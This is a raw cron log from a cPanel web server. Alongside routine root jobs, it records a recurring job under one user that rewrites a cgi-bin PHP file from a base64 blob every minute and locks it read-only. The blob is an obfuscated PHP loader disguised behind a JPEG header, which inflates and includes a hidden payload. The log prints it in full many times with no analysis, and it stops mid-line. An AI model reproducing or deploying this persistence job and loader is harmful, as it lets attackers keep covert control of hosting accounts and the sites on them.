Apr  9 05:53:01 server CROND[28713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:54:01 server CROND[28778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:55:01 server CROND[28838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:55:01 server CROND[28840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:55:01 server CROND[28839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:56:01 server CROND[28954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:57:01 server CROND[29122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:57:01 server CROND[29123]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 05:58:01 server CROND[29183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:59:01 server CROND[29240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:00:01 server CROND[29310]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 06:00:01 server CROND[29312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:00:01 server CROND[29314]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 06:00:01 server CROND[29315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:00:01 server CROND[29316]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Apr  9 06:00:01 server CROND[29317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:01:01 server CROND[29450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:01:01 server CROND[29451]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 06:01:01 server run-parts(/etc/cron.hourly)[29451]: starting 0anacron
Apr  9 06:01:01 server run-parts(/etc/cron.hourly)[29464]: finished 0anacron
Apr  9 06:02:01 server CROND[29566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:03:01 server CROND[29732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:04:01 server CROND[29797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:05:01 server CROND[29870]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 06:05:01 server CROND[29871]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:05:01 server CROND[29872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:05:01 server CROND[29873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:06:01 server CROND[29984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7J